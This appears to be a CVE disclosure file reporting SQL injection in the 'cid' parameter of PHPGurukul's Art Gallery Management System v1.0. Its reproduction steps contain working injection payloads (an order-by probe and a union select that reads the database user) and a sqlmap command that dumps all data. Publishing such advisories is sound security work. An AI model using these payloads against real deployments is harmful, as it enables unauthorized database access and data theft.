CVE-2023-23162: CVE/CVE-2023-23162.txt at main · rahulpatwari/CVE

> [Suggested description] > Art Gallery Management System Project v1.0 was discovered to contain a > SQL injection vulnerability via the cid parameter at product.php. > > ------------------------------------------ > > [Additional Information] > Steps to Reproduce: > 1. Navigate to the product page by clicking on the “ART TYPE” by selecting any of the categories on the menu. > 2. Now insert a single quote ( ' ) on “cid” parameter to break the database query, you will see the output is not shown. > 3. Now inject the payload double single quote (‘’) in the “cid” parameter to merge the > database query and after sending this request the SQL query is successfully performed and the product is shown in the output. > 4. Now find how many columns are returned by the SQL query. this query will return 6 columns. > Payload:cid=1%27order%20by%206%20–%20-&artname=Sculptures > 5. for manually getting data from the database insert the below payload to see the user of the database. > payload: cid=-2%27union%20select%201,2,3,user(),5,6–%20-&artname=Serigraphs > 6. for automation using “SQLMAP” intercept the request and copy this request to a file called "request.txt". > 7. now to get all database data use the below “sqlmap” command to fetch all the data. > Command: sqlmap -r request.txt -p cid --dump-all --batch > > //////// request.txt file //////// > > GET /Art-Gallery-MS-PHP/product.php?cid=2&&artname=Serigraphs HTTP/1.1 > Host: localhost > sec-ch-ua: "Chromium";v="103", “.Not/A)Brand";v="99” > sec-ch-ua-mobile: ?0 > sec-ch-ua-platform: “Windows” > Upgrade-Insecure-Requests: 1 > User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 > Sec-Fetch-Site: none > Sec-Fetch-Mode: navigate > Sec-Fetch-User: ?1 > Sec-Fetch-Dest: document > Accept-Encoding: gzip, deflate > Accept-Language: en-US,en;q=0.9 > Cookie: PHPSESSID=hub8pub9s5c1j18cva9594af3q > Connection: close > > ------------------------------------------ > > [Vulnerability Type] > SQL Injection > > ------------------------------------------ > > [Vendor of Product] > https://phpgurukul.com/ > > ------------------------------------------ > > [Affected Product Code Base] > Art Gallery Management System Project - Art Gallery Management System Project - V 1.0 > > ------------------------------------------ > > [Affected Component] > http://localhost/Art-Gallery-MS-PHP/product.php?cid=2&artname=Serigraphs > > ------------------------------------------ > > [Attack Type] > Remote > > ------------------------------------------ > > [Impact Code execution] > true > > ------------------------------------------ > > [Impact Escalation of Privileges] > true > > ------------------------------------------ > > [Impact Information Disclosure] > true > > ------------------------------------------ > > [Attack Vectors] > SQL injection attacks can have serious consequences for both the website and its users. If an attacker is able to successfully inject malicious code into a database, they can potentially extract sensitive data such as passwords, credit card numbers, and personal information. This can result in the theft of sensitive data, as well as damage to the website’s reputation and credibility. > > SQL injection attacks can be used to perform a variety of malicious actions, including: > 1. Extracting sensitive data from the database, such as passwords, financial information, or personal information > 2. Modifying or deleting data from the database, potentially causing incorrect results or system failures > 3. Executing arbitrary commands on the database server, such as shutting down the server or creating new user accounts > 4. Gaining unauthorized access to the underlying operating system and taking complete control of the server > > ------------------------------------------ > > [Reference] > https://phpgurukul.com/art-gallery-management-system-using-php-and-mysql/ > https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip > > ------------------------------------------ > > [Discoverer] > Rahul Patwari Use CVE-2023-23162.